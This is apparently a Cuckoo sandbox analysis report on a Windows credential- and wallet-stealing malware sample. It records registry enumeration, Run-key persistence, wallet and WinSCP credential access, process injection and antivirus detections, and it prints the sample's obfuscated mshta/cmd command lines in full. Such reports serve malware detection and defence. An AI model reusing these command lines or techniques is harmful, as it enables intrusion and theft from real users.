RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}	1

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess April 5, 2021, 1:28 p.m.	status_code: 0x00000001 process_identifier: 3056 process_handle: 0x000001c4		0	0
NtTerminateProcess April 5, 2021, 1:28 p.m.	status_code: 0x00000001 process_identifier: 3056 process_handle: 0x000001c4	1	0	0

Uses Windows utilities for basic Windows functionality (9 events)

cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	taskkill -Im "uj1otAn268mpyDOEos1bNvOh.exe" -F

One or more of the buffers contains an embedded PE file (2 events)

buffer	Buffer with sha1: ee1276fe9e6473a0624655b241f5e47d3abe5bb8
buffer	Buffer with sha1: e43c7dd80c551ce01c20bd6b0df03914e2dff1eb

Communicates with host for which no DNS query was performed (1 event)

host

203.159.80.228

Checks the CPU name from registry, possibly for anti-virtualization (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Installs itself for autorun at Windows startup (7 events)

reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\JZLIgvMgKKUfIsUZwb3YHyA5PcvyvhBJ	reg_value	C:\Users\test22\AppData\Local\Temp\du.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ZP2DAYvmIKBADIO6HPwFOY6rtQIL9Nvm	reg_value	C:\Users\test22\Documents\dIpLK0UolCjl8itepjhxY1rV.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aUw57QoNQ7cyhtbhVlpIEmHASLTtPjn5	reg_value	C:\Users\test22\Documents\HF9OheAjvPvrYsgJdN2blsSS.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\YZjsWS81liyQ6IKAzl0XhmhxNwmw647q	reg_value	C:\Users\test22\Documents\rgL9b9gU8SlRste7zCJdgwva.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ThZIJsKCmyhfx0DJAT3otPXw1wejqL4q	reg_value	C:\Users\test22\Documents\HeWMLJe0hvVWYHsnl9B2S4Dv.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\lI7YtB0GayusEC9XscvmBT7EJnQWNlWb	reg_value	C:\Users\test22\Documents\DJtHiqofXxujoI7GumjaPR5W.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\314p2pa9cwO4eorzwH1NZRoRK2OGvd3z	reg_value	C:\Users\test22\Documents\PpnOn8liJX3aK7YNgZgUxpNB.exe

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\Users\test22\AppData\Roaming\Bitcoin\wallets
file	C:\Users\test22\AppData\Roaming\Electrum\wallets

Harvests credentials from local FTP client softwares (1 event)

registry

HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Collects information about installed applications (27 events)

Time & API	Arguments	Status
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW April 5, 2021, 1:28 p.m.	key_handle: 0x000002e0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

FireEye	Generic.mg.176a67399e1fd4d5
CrowdStrike	win/malicious_confidence_100% (W)
APEX	Malicious
Avast	FileRepMalware
Kaspersky	UDS:Trojan-PSW.MSIL.Racealer.gen
SentinelOne	Static AI - Malicious PE
Avira	TR/ATRAPS.Gen
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Microsoft	Backdoor:Win32/Bladabindi!ml
Cynet	Malicious (score: 90)
BitDefenderTheta	Gen:NN.ZemsilF.34662.am0@aiMTC!e
Malwarebytes	Trojan.Downloader.MSIL.Generic
AVG	FileRepMalware
Cybereason	malicious.cb9ff2
Paloalto	generic.ml

Appends a known CryptoMix ransomware file extension to files that have been encrypted (1 event)

file	C:\Users\test22\AppData\Roaming\Exodus\exodus.wallet

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3056 resumed a thread in remote process 2620
Process injection	Process 2520 resumed a thread in remote process 2632
Process injection	Process 2632 resumed a thread in remote process 752
NtResumeThread April 5, 2021, 1:28 p.m.	thread_handle: 0x000002cc suspend_count: 1 process_identifier: 2620	1	0	0
NtResumeThread April 5, 2021, 1:28 p.m.	thread_handle: 0x000000f4 suspend_count: 0 process_identifier: 2632	1	0	0
NtResumeThread April 5, 2021, 1:28 p.m.	thread_handle: 0x000002d8 suspend_count: 1 process_identifier: 752	1	0	0

Tries to unhook Windows functions monitored by Cuckoo (1 event)

Time & API	Arguments	Status	Return	Repeated
__anomaly__ April 5, 2021, 1:28 p.m.	tid: 2612 message: Encountered 65537 exceptions, quitting. subcategory: exception function_name:	1	0	0

Generates some ICMP traffic

du.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All